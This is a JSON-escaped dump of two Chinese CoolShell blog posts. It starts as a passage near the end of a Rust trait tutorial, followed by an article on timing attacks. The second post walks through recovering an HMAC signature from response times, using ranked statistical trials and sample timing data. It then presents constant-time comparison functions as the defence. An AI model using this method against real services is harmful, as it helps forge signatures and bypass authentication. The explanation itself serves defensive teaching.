href=\"https://coolshell.cn/articles/12165.html\" rel=\"noopener noreferrer\" target=\"_blank\">C++的虚函数表</a>》），Rust也很类似，不过，在编程范式上，更像Java的接口的方式。其通过借用于Erlang的Trait对象的方式来完成。参看下面的代码：</p>\n<pre class=\"EnlighterJSRAW\">struct Rectangle {\n    width : u32,\n    height : u32,\n} \n\nstruct Circle {\n    x : u32,\n    y : u32,\n    radius : u32,\n}\n\ntrait  IShape  { \n    fn area(&amp;self) -&gt; f32;\n    fn to_string(&amp;self) -&gt; String;\n}</pre>\n<p>我们有两个类，一个是“长方形”，一个是“圆形”， 还有一个 <code>IShape</code> 的trait 对象（原谅我用了Java的命名方式），其中有两个方法：求面积的 <code>area()</code> 和 转字符串的 <code>to_string()</code>。下面相关的实现：</p>\n<pre class=\"EnlighterJSRAW\">impl IShape  for Rectangle {\n    fn area(&amp;self) -&gt; f32 { (self.height * self.width) as f32 }\n    fn to_string(&amp;self) -&gt;String {\n         format!(\"Rectangle -&gt; width={} height={} area={}\", \n                  self.width, self.height, self.area())\n    }\n}\n\nuse std::f64::consts::PI;\nimpl IShape  for Circle  {\n    fn area(&amp;self) -&gt; f32 { (self.radius * self.radius) as f32 * PI as f32}\n    fn to_string(&amp;self) -&gt; String {\n        format!(\"Circle -&gt; x={}, y={}, area={}\", \n                 self.x, self.y, self.area())\n    }\n}\n</pre>\n<p>于是，我们就可以有下面的多态的使用方式了（我们使用独占的智能指针类 <code>Box</code>）：</p>\n<pre class=\"EnlighterJSRAW\">use std::vec::Vec;\n\nlet rect = Box::new( Rectangle { width: 4, height: 6});\nlet circle = Box::new( Circle { x: 0, y:0, radius: 5});\nlet mut v : Vec&lt;Box&gt; = Vec::new();\nv.push(rect);\nv.push(circle);\n\nfor i in v.iter() {\n   println!(\"area={}\", i.area() );\n   println!(\"{}\", i.to_string() );\n}</pre>\n<h5>向下转型</h5>\n<p>但是，在C++中，多态的类型是抽象类型，我们还想把其转成实际的具体类型，在C++中叫运行进实别RTTI，需要使用像 <code>type_id</code> 或是 <code>dynamic_cast</code> 这两个技术。在Rust中，转型是使用 ‘<code>as</code>‘ 关键字，然而，这是编译时识别，不是运行时。那么，在Rust中是怎么做呢？</p>\n<p>嗯，这里需要使用 Rust 的 <code>std::any::Any</code> 这个东西，这个东西就可以使用 <code>downcast_ref</code> 这个东西来进行具体类型的转换。于是我们要对现有的代码进行改造。</p>\n<p>首先，先得让 <code>IShape</code> 继承于 <code>Any</code> ，并增加一个 <code>as_any()</code> 的转型接口。</p>\n<pre class=\"EnlighterJSRAW\">use std::any::Any;\ntrait  IShape : Any + 'static  {\n    fn as_any(&amp;self) -&gt; &amp;dyn Any; \n    …… …… …… \n}</pre>\n<p>然后，在具体类中实现这个接口：</p>\n<pre class=\"EnlighterJSRAW\">impl IShape  for Rectangle {\n    fn as_any(&amp;self) -&gt; &amp;dyn Any { self }\n    …… …… …… \n}\nimpl IShape  for Circle  {\n    fn as_any(&amp;self) -&gt; &amp;dyn Any { self }\n    …… …… …… \n}</pre>\n<p>于是，我们就可以进行运行时的向下转型了：</p>\n<pre class=\"EnlighterJSRAW\">let mut v : Vec&lt;Box&lt;dyn IShape&gt;&gt; = Vec::new();\nv.push(rect);\nv.push(circle);\nfor i in v.iter() {\n    if let Some(s) = i.as_any().downcast_ref::&lt;Rectangle&gt;() {\n        println!(\"downcast - Rectangle w={}, h={}\", s.width, s.height);\n    }else if let Some(s) = i.as_any().downcast_ref::&lt;Circle&gt;() {\n        println!(\"downcast - Circle x={}, y={}, r={}\", s.x, s.y, s.radius);\n    }else{\n        println!(\"invaild type\");\n    }\n}</pre>\n<h4>Trait 重载操作符</h4>\n<p>操作符重载对进行泛行编程是非常有帮助的，如果所有的对象都可以进行大于，小于，等于这亲的比较操作，那么就可以直接放到一个标准的数组排序的的算法中去了。在Rust中，在 <code>std::ops</code> 下有全载的操作符重载的Trait，在<code>std::cmp</code> 下则是比较操作的操作符。我们下面来看一个示例：</p>\n<p>假如我们有一个“员工”对象，我们想要按员工的薪水排序，如果我们想要使用<code>Vec::sort()</code>方法，我们就需要实现这个对象的各种“比较”方法。这些方法在 <code>std::cmp</code> 内—— 其中有四个Trait : <code>Ord</code>、<code>PartialOrd</code> 、<code>Eq</code> 和 <code>PartialEq</code>  。其中，<code>Ord</code> 依赖于 <code>PartialOrd</code> 和 <code>Eq</code> ，而<code>Eq</code> 依赖于 <code>PartialEq</code>，这意味着你需要实现所有的Trait，而<code>Eq</code> 这个Trait 是没有方法的，所以，其实现如下：</p>\n<pre class=\"EnlighterJSRAW\">use std::cmp::{Ord, PartialOrd, PartialEq, Ordering};\n\n#[derive(Debug)]\nstruct Employee {\n    name : String,\n    salary : i32,\n}\nimpl Ord for Employee {\n    fn cmp(&amp;self, rhs: &amp;Self) -&gt; Ordering {\n        self.salary.cmp(&amp;rhs.salary)\n    }\n}\nimpl PartialOrd for Employee {\n    fn partial_cmp(&amp;self, rhs: &amp;Self) -&gt; Option&lt;Ordering&gt; {\n        Some(self.cmp(rhs))\n    }\n}\nimpl Eq for Employee {\n}\nimpl PartialEq for Employee {\n    fn eq(&amp;self, rhs: &amp;Self) -&gt; bool {\n        self.salary == rhs.salary\n    }\n}</pre>\n<p>于是，我们就可以进行如下的操作了：</p>\n<pre class=\"EnlighterJSRAW\">let mut v = vec![\n    Employee {name : String::from(\"Bob\"),     salary: 2048},\n    Employee {name : String::from(\"Alice\"),   salary: 3208},\n    Employee {name : String::from(\"Tom\"),     salary: 2359},\n    Employee {name : String::from(\"Jack\"),    salary: 4865},\n    Employee {name : String::from(\"Marray\"),  salary: 3743},\n    Employee {name : String::from(\"Hao\"),     salary: 2964},\n    Employee {name : String::from(\"Chen\"),    salary: 4197},\n];\n\n//用for-loop找出薪水最多的人\nlet mut e = &amp;v[0];\nfor i in 0..v.len() {\n    if *e &lt; v[i] { \n        e = &amp;v[i]; \n    }\n}\nprintln!(\"max = {:?}\", e);\n\n//使用标准的方法\nprintln!(\"min = {:?}\", v.iter().min().unwrap());\nprintln!(\"max = {:?}\", v.iter().max().unwrap());\n\n//使用标准的排序方法\nv.sort();\nprintln!(\"{:?}\", v);</pre>\n<h4>小结</h4>\n<p>现在我们来小结一下：</p>\n<ul>\n<li>在Rust的中，最重要的概念就是“不可变”和“所有权”以及“Trait”这三个概念。</li>\n<li>在所有权概念上，Rust喜欢move所有权，如果需要借用则需要使用引用。</li>\n<li>Move所有权会导致一些编程上的复杂度，尤其是需要同时move两个变量时。</li>\n<li>引用（借用）的问题是生命周期的问题，一些时候需要程序员来标注生命周期。</li>\n<li>在函数式的闭包和多线程下，这些所有权又出现了各种麻烦事。</li>\n<li>使用智能指针可以解决所有权和借用带来的复杂度，但带来其它的问题。</li>\n<li>最后介绍了Rust的Trait对象完成多态和函数重载的玩法。</li>\n</ul>\n<p>Rust是一个比较严格的编程语言，它会严格检查你程序中的：</p>\n<ul>\n<li>变量是否是可变的</li>\n<li>变量的所有权是否被移走了</li>\n<li>引用的生命周期是否完整</li>\n<li>对象是否需要实现一些Trait</li>\n</ul>\n<p>这些东西都会导致失去编译的灵活性，并在一些时候需要“去糖”，导致，你在使用Rust会有诸多的不适应，程序编译不过的挫败感也是令人沮丧的。在初学Rust的时候，我想自己写一个单向链表，结果，费尽心力，才得以完成。也就是说，<strong>如果你对Rust的概念认识的不完整，你完全写不出程序，那怕就是很简单的一段代码</strong>。我觉得，这种挺好的，逼着程序员必需了解所有的概念才能编码。但是，另一方面也表明了这门语言并不适合初学者。</p>\n<p>没有银弹，任何语言都有些适合的地方和场景。</p>\n<p>（全文完）</p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<p><audio controls=\"controls\" style=\"display: none;\"></audio></p>\n<div id=\"gtx-trans\">\n<div class=\"gtx-trans-icon\"></div>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7992.html\"><img alt=\"C++的坑真的多吗？\" height=\"150\" src=\"../wp-content/uploads/2012/08/cpp_small-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7992.html\">C++的坑真的多吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5576.html\"><img alt=\"那些曾伴我走过编程之路的软件\" height=\"150\" src=\"../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5576.html\">那些曾伴我走过编程之路的软件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4905.html\"><img alt=\"语言的数据亲和力\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4905.html\">语言的数据亲和力</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2020-7-5 计时攻击 Timing Attacks.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-21015\" height=\"240\" src=\"../wp-content/uploads/2020/06/time-bomb-300x300.png\" width=\"240\"/>本文来自读者“程序猿石头”的投稿文章《<a href=\"http://mp.weixin.qq.com/s?__biz=MzI3OTUzMzcwNw==&amp;mid=100002290&amp;idx=1&amp;sn=8829db16a065f485b257fba0c691d94f&amp;chksm=6b4708165c30810096133f36523c8c781ce5333d851c31905d6cc49dd9b756a3f08141fbc9e8#rd\" rel=\"noopener noreferrer\" target=\"_blank\">这 10 行比较字符串相等的代码给我整懵了，不信你也来看看</a>》，原文写的很好，但不够直接了当，信息密度不够高，所以我对原文进行大量的删减、裁剪、改写和添加，主要删除了一些没有信息的段落，主要加入了如何实施计时攻击相关的其它内容，让这篇文章中的知识更系统一些，并且还指出了其它的一些问题。所以，我把标题也改成了《计时攻击 Timing Attacks》。</p>\n<h4>另类的字符串比较</h4>\n<p>在 Java 的 Play Framework 里有<a href=\"https://github.com/playframework/play1/blob/b01eb02eb8df2e94cac2793c028dd9c4c5a57b31/framework/src/play/mvc/CookieDataCodec.java#L82\" rel=\"noopener noreferrer\" target=\"_blank\">一段代码</a>用来验证cookie(session)中的数据是否合法（包含签名的验证）的代码，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">boolean safeEqual(String a, String b) {\n   if (a.length() != b.length()) {\n       return false;\n   }\n   int equal = 0;\n   for (int i = 0; i &lt; a.length(); i++) {\n       equal |= a.charAt(i) ^ b.charAt(i);\n   }\n   return equal == 0;\n}</pre>\n<p>相信刚看到这段源码的人会感觉挺奇怪的，这个函数的功能是比较两个字符串是否相等，如果要判断两个字符串是否相等，正常人的写法应该是下面这个样子的（来自JDK8 的 <code>String.equals()</code>-有删减）：</p>\n<p><span id=\"more-21003\"></span></p>\n<pre class=\"EnlighterJSRAW\">public boolean equals(Object anObject) {\n    String anotherString = (String)anObject;\n    int n = value.length;\n    if (n == anotherString.value.length) {\n        char v1[] = value;\n        char v2[] = anotherString.value;\n        int i = 0;\n        while (n-- != 0) {\n            if (v1[i] != v2[i]) // &lt;- 遇到第一个不一样的字符时退出\n                return false;\n            i++;\n        }\n        return true;\n    }\n    return false;\n}</pre>\n<p>我们可以看到，在比较两个字符串是否相等的正常写法是：</p>\n<ol>\n<li>先看一下两个字符串长度是否相等，如果不等直接返回 false。</li>\n<li>如果长度相等，则依次判断每个字符是否相等，如果不等则返回 false。</li>\n<li>如果全部相等，则返回 true。一旦遇到不一样的字符时，直接返回false。</li>\n</ol>\n<p>然而，Play Framework里的代码却不是这样的，尤其是上述的第2点，用到了异或，熟悉位操作的你很容易就能看懂，通过异或操作 <code>1^1=0</code> , <code>1^0=1</code>, <code>0^0=0</code>，来比较每一位，如果每一位都相等的话，两个字符串肯定相等，最后存储累计异或值的变量 <code>equal</code>必定为 0（因为相同的字符必然为偶数），否则为 1。</p>\n<p>但是，这种异或的方式不是遇到第一个不一样的字符就返回 false 了，而是要做全量比较，这种比较完全没有效率，这是为什么呢？原因是为了安全。</p>\n<h4>计时攻击(Timing Attack)</h4>\n<p>计时攻击（<a href=\"https://en.wikipedia.org/wiki/Timing_attack\" rel=\"noopener noreferrer\" target=\"_blank\">Wikipedia</a>）是<a href=\"https://en.wikipedia.org/wiki/Side-channel_attack\" rel=\"noopener noreferrer\" target=\"_blank\">旁道攻击</a>(或称”侧信道攻击”， Side Channel Attack， 简称SCA) 的一种，<b>旁通道攻击</b>是指基于从计算机系统的实现中获得的信息的任何攻击 ，而不是基于实现的算法本身的弱点（例如，密码分析和软件错误）。时间信息，功耗，电磁泄漏甚至声音可以提供额外的信息来源，可以加以利用。在很多物理隔绝的环境中（黑盒），往往也能出奇制胜，这类新型攻击的有效性远高于传统的密码分析的数学方法。（注：企图通过社会工程学欺骗或强迫具有合法访问权限的人来破坏密码系统通常不被视为旁道攻击）</p>\n<p>计时攻击是最常用的攻击方法。那么，正常的字符串比较是怎么被黑客进行时间攻击的呢？</p>\n<p>我们知道，正常的字符串比较，一旦遇到每一个不同的字符就返回失败了，所以，理论上来说，前面只有2个字符相同字符串比较的耗时，要比前面有10个字符相同的比较要短。你会说，这能相差多少呢？可能几微秒吧。但是，我们可以放大这个事。比如，在Web应用时，记录每个请求的返回所需请求时间（一般是毫秒级），如果我们重复50次，我们可以查看平均时间或是p50的时间，以了解哪个字符返回的时间比较长，如果某个我们要尝试的字符串的时间比较长，我们就可以确定地得出这个这字符串的前面一段必然是正确的。（当然，你会说网络请求的燥音太多了，在毫秒级的请求上完全没办判断，这个需要用到统计学来降噪，后面会给出方法）</p>\n<p>这个事情，可以用来做HMAC的攻击，所谓HMAC，你可以参看本站的《<a href=\"https://coolshell.cn/articles/19395.html\" rel=\"noopener noreferrer\" target=\"_blank\" title=\"HTTP API 认证授权术\">HTTP API 认证授权术</a>》文章了解更多的细节。简单来说，HMAC，就是客户端向服务端发来一个字符串和其签名字符串（HMAC），然后，服务端的程序用一个私钥来对客户端发来的字符串进行签名得到签名字符串，然后再比较这个签名字符串（所谓签名，也就是使用MD5或SHA这样的哈希算法进行编码，是不可逆的）</p>\n<p>写成伪代码大概是这个样子：</p>\n<pre class=\"EnlighterJSRAW\">bool verify(message, digest) {\n    my_digest = HMAC(key, message);\n    return my_digest.equals(digest) ;\n}</pre>\n<p>于是，攻击者在不知道签名算法和私钥的情况下，但是知道API的调用接口时，就可以通过一边穷举签名，一边统计调用时间的方式来非常有效率的破解签名。在这篇文章《<a href=\"http://www.eggie5.com/45-hmac-timing-attacks\" rel=\"noopener noreferrer\" target=\"_blank\">HMAC Timing Attacks</a>》中记录了整个攻击的过程。文章中记载：</p>\n<p>如果一个签名有40个长度，如：<code>f5acdffbf0bb39b2cdf59ccc19625015b33f55fe</code> 攻击者，从 <code>0000000000000000000000000000000000000000</code> 开始穷举，下面是穷举第一个字符（从<code>0</code>到<code>f</code>因为这是HMAC算法的取值范围）的时间统计。</p>\n<pre>0 0.005450913\n1 0.005829198\n2 0.004905407\n3 0.005286876\n4 0.005597611\n5 0.004814430\n6 0.004969118\n7 0.005335884\n8 0.004433182\n9 0.004440246\na 0.004860263\nb 0.004561121\nc 0.004463188\nd 0.004406799\ne 0.004978907\nf 0.004887240\n</pre>\n<p>可以看到，第一次测试通过的计时结果（以秒为单位），而值“ f”与样品的其余部分之间没有较大的变化量，所有结果看起来都非常接近。换句话说，有很多噪声掩盖了信号。因此，有必要进行多个采样（对测试进行缩放）并使用统计工具从噪声中滤除信号。为了将信号与噪声分开，我们必须按任意常数对测试进行缩放。通过实验，作者发现500是一个很好的数字。换句话说：运行测试500次，并记录500个试验中每个试验的结果。然后，通过人的肉眼观察可以可能看到 f 的调用明显比别的要长，但是这种方法很难自动化。</p>\n<p>所以，作者给了另一个统计算法，这个算法向服务器分别从 0 到 f 发出16个请求，并记录每个请求的响应时间，并将它们排序为1-16，其中1是最长（最慢）的请求，而16是最短（最快的请求），分别记录 0 – f 的名次，然后重复上述的过程 500 次。如下所示（仅显示25个样本，字符“ 0”首先被排名7、1、3，然后再次排名3……）：</p>\n<pre>{\n\"0\"=&gt;[7, 1, 3, 3, 15, 5, 4, 9, 15, 10, 13, 2, 14, 9, 4, 14, 7, 9, 15, 2, 14, 9, 14, 6, 11...],\n\"1\"=&gt;[13, 4, 7, 11, 0, 4, 0, 2, 14, 11, 6, 7, 2, 2, 14, 11, 8, 10, 5, 13, 11, 7, 4, 9, 3...],\n\"2\"=&gt;[14, 5, 15, 5, 1, 0, 3, 1, 9, 12, 4, 4, 1, 1, 8, 6, 9, 4, 9, 5, 8, 3, 12, 8, 5...],\n\"3\"=&gt;[15, 2, 9, 7, 2, 1, 14, 11, 7, 8, 8, 1, 4, 7, 12, 15, 13, 0, 4, 1, 7, 0, 3, 0, 0...],\n\"4\"=&gt;[12, 10, 14, 15, 8, 9, 10, 12, 10, 4, 1, 13, 15, 15, 3, 1, 6, 8, 2, 6, 15, 4, 0, 3, 2...],\n\"5\"=&gt;[5, 13, 13, 12, 7, 8, 13, 14, 3, 13, 2, 12, 7, 14, 2, 10, 12, 5, 8, 0, 4, 10, 5, 10, 12...]\n\"6\"=&gt;[0, 15, 11, 13, 5, 15, 8, 8, 4, 7, 12, 9, 10, 11, 11, 7, 0, 6, 0, 9, 2, 6, 15, 13, 14...]\n\"7\"=&gt;[1, 9, 0, 10, 6, 6, 2, 4, 12, 9, 5, 10, 5, 10, 7, 2, 4, 14, 6, 7, 13, 11, 6, 12, 4...],\n\"8\"=&gt;[4, 0, 2, 1, 9, 11, 12, 13, 11, 14, 0, 15, 9, 0, 0, 13, 11, 13, 1, 8, 6, 5, 11, 15, 7...],\n\"9\"=&gt;[11, 11, 10, 4, 13, 7, 6, 3, 2, 2, 14, 5, 3, 3, 15, 9, 14, 7, 10, 3, 0, 14, 1, 5, 15...],\n\"a\"=&gt;[8, 3, 6, 14, 10, 2, 7, 5, 1, 3, 3, 0, 0, 6, 10, 12, 15, 12, 12, 15, 9, 13, 13, 11, 9...],\n\"b\"=&gt;[9, 12, 5, 8, 3, 3, 5, 15, 0, 6, 11, 11, 12, 8, 1, 3, 1, 11, 11, 14, 5, 1, 2, 1, 6...],\n\"c\"=&gt;[6, 7, 8, 2, 12, 10, 9, 10, 6, 1, 10, 8, 6, 4, 6, 4, 3, 2, 7, 11, 1, 8, 7, 2, 13...],\n\"d\"=&gt;[2, 14, 4, 0, 14, 12, 11, 0, 8, 0, 15, 3, 8, 12, 5, 0, 10, 1, 3, 4, 12, 12, 8, 14, 8...],\n\"e\"=&gt;[10, 8, 12, 6, 11, 13, 1, 6, 13, 5, 7, 14, 11, 5, 9, 5, 2, 15, 14, 10, 10, 2, 10, 4, 1...],\n\"f\"=&gt;[3, 6, 1, 9, 4, 14, 15, 7, 5, 15, 9, 6, 13, 13, 13, 8, 5, 3, 13, 12, 3, 15, 9, 7, 10...]\n}</pre>\n<p>然后将每个字符的500个排名进行平均，得出以下示例输出：</p>\n<pre>\"f\", 5.302\n\"0\", 7.17\n\"6\", 7.396\n\"3\", 7.472\n\"5\", 7.562\n\"a\", 7.602\n\"2\", 7.608\n\"8\", 7.626\n\"9\", 7.688\n\"b\", 7.698\n\"1\", 7.704\n\"e\", 7.812\n\"4\", 7.82\n\"d\", 7.826\n\"7\", 7.854\n\"c\", 7.86</pre>\n<p>于是，<code>f</code> 就这样脱颖而出了。然后，再对剩余的39个字符重复此算法。</p>\n<p><strong>这是一种统计技术，可让我们从噪声中滤出真实的信号</strong>。因此，总共需要调用：16 * 500 * 40 = 320,000个请求，而蛮力穷举需要花费16 ^ 40个请求。</p>\n<p>另外，学术界的这篇论文就宣称用这种计时攻击的方法破解了 OpenSSL 0.9.7 的RSA加密算法了。这篇 <a href=\"http://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">Remote Timing Attacks are Practical （PDF）</a>论文中指出（我大致翻译下摘要，感兴趣的同学可以通过链接去看原文）：</p>\n<blockquote><p>计时攻击往往用于攻击一些性能较弱的计算设备，例如一些智能卡。我们通过实验发现，也能用于攻击普通的软件系统。本文通过实验证明，通过这种计时攻击方式能够攻破一个基于 OpenSSL 的 web 服务器的私钥。结果证明计时攻击用于进行网络攻击在实践中可行的，因此各大安全系统需要抵御这种风险。</p></blockquote>\n<p>参考资料：</p>\n<ul>\n<li>\n<section><a href=\"http://www.cs.sjsu.edu/faculty/stamp/students/article.html\">Timing Attacks on RSA: Revealing Your Secrets through the Fourth Dimension</a></section>\n</li>\n<li>\n<section><a href=\"http://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf\">Remote Timing Attacks are Practical</a></section>\n</li>\n</ul>\n<h4>各语言的对应函数</h4>\n<p>下面，我们来看看各个语言对计时攻击的对应函数</p>\n<p><strong>PHP</strong>: <a href=\"https://wiki.php.net/rfc/timing_attack\" rel=\"noopener noreferrer\" target=\"_blank\">https://wiki.php.net/rfc/timing_attack</a></p>\n<pre class=\"EnlighterJSRAW\">bool hash_equals ( string $known_string , string $user_string )\n\nboolean password_verify ( string $password , string $hash )</pre>\n<p><strong>Java</strong>:  Java 在1.6时是有问题的，其在 1.6.0._17(6u17)才Fix了这个问题（<a href=\"http://hg.openjdk.java.net/jdk6/jdk6/jdk/rev/562da0baf70b\" rel=\"noopener noreferrer\" target=\"_blank\">相关的fix patch</a>），下面是 <a href=\"https://hg.openjdk.java.net/jdk8u/jdk8u-dev/jdk/file/1832c29655eb/src/share/classes/java/security/MessageDigest.java#l442\" rel=\"noopener noreferrer\" target=\"_blank\">JDK8源码</a> – <code>MessageDigest.isEqual()</code></p>\n<pre class=\"EnlighterJSRAW\">public static boolean MessageDigest.isEqual(byte[] digesta, byte[] digestb) {\n    if (digesta == digestb) return true;\n    if (digesta == null || digestb == null) {\n        return false;\n    }\n    if (digesta.length != digestb.length) {\n        return false;\n    }\n\n    int result = 0;\n    // time-constant comparison\n    for (int i = 0; i &lt; digesta.length; i++) {\n        result |= digesta[i] ^ digestb[i];\n    }\n    return result == 0;\n}</pre>\n<p><strong>C/C++</strong>：没有在常用的库中找到相关的函数，还是自己写吧。</p>\n<pre class=\"EnlighterJSRAW\">int util_cmp_const(const void * a, const void *b, const size_t size) \n{\n  const unsigned char *_a = (const unsigned char *) a;\n  const unsigned char *_b = (const unsigned char *) b;\n  unsigned char result = 0;\n  size_t i;\n\n  for (i = 0; i &lt; size; i++) {\n    result |= _a[i] ^ _b[i];\n  }\n\n  return result; /* returns 0 if equal, nonzero otherwise */\n}</pre>\n<p><strong>Python</strong> – 2.7.7+使用 <code>hmac.compare_digest(a, b)</code>，否则，使用如下的Django的代码</p>\n<pre class=\"EnlighterJSRAW\">#Taken from Django Source Code\n\ndef constant_time_compare(val1, val2):\n    \"\"\"\n    Returns True if the two strings are equal, False otherwise.\n\n    The time taken is independent of the number of characters that match.\n\n    For the sake of simplicity, this function executes in constant time only\n    when the two strings have the same length. It short-circuits when they\n    have different lengths.\n    \"\"\"\n    if len(val1) != len(val2):\n        return False\n    result = 0\n    for x, y in zip(val1, val2):\n        result |= ord(x) ^ ord(y)\n    return result == 0</pre>\n<p><strong>Go</strong>  – 使用 <code>crypto/subtle</code> 代码包</p>\n<pre class=\"EnlighterJSRAW\">func ConstantTimeByteEq(x, y uint8) int\nfunc ConstantTimeCompare(x, y []byte) int\nfunc ConstantTimeCopy(v int, x, y []byte)\nfunc ConstantTimeEq(x, y int32) int\nfunc ConstantTimeLessOrEq(x, y int) int\nfunc ConstantTimeSelect(v, x, y int) int</pre>\n<h4>One More Thing</h4>\n<p>在文章结束前，再提一个事。</p>\n<p>上面的所有的代码都还有一个问题——他们都要判断字符串的长度是否一致，如果不一致就返回了，所以，通过时间攻击是可以知道字符串的长度的。比如：你的密码长度。理论上来说，字符串的长度也应该属于“隐私数据”（当然，对于签名则不是）。</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21708.html\"><img alt=\"网络数字身份认证术\" height=\"150\" src=\"../wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21708.html\">网络数字身份认证术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21672.html\"><img alt=\"我做系统架构的一些原则\" height=\"150\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19395.html\"><img alt=\"HTTP API 认证授权术\" height=\"150\" src=\"../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19395.html\">HTTP API 认证授权术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/936.html\"><img alt=\"最完美的Linux桌面软件\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/936.html\">最完美的Linux桌面软件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1007.html\"><img alt=\"优质代码的十诫\" height=\"150\" src=\"../wp-content/uploads/2009/06/10commandements-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1007.html\">优质代码的十诫</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3453.html\"><img alt=\"Sony PS3 Root Key 被破解\" height=\"150\" 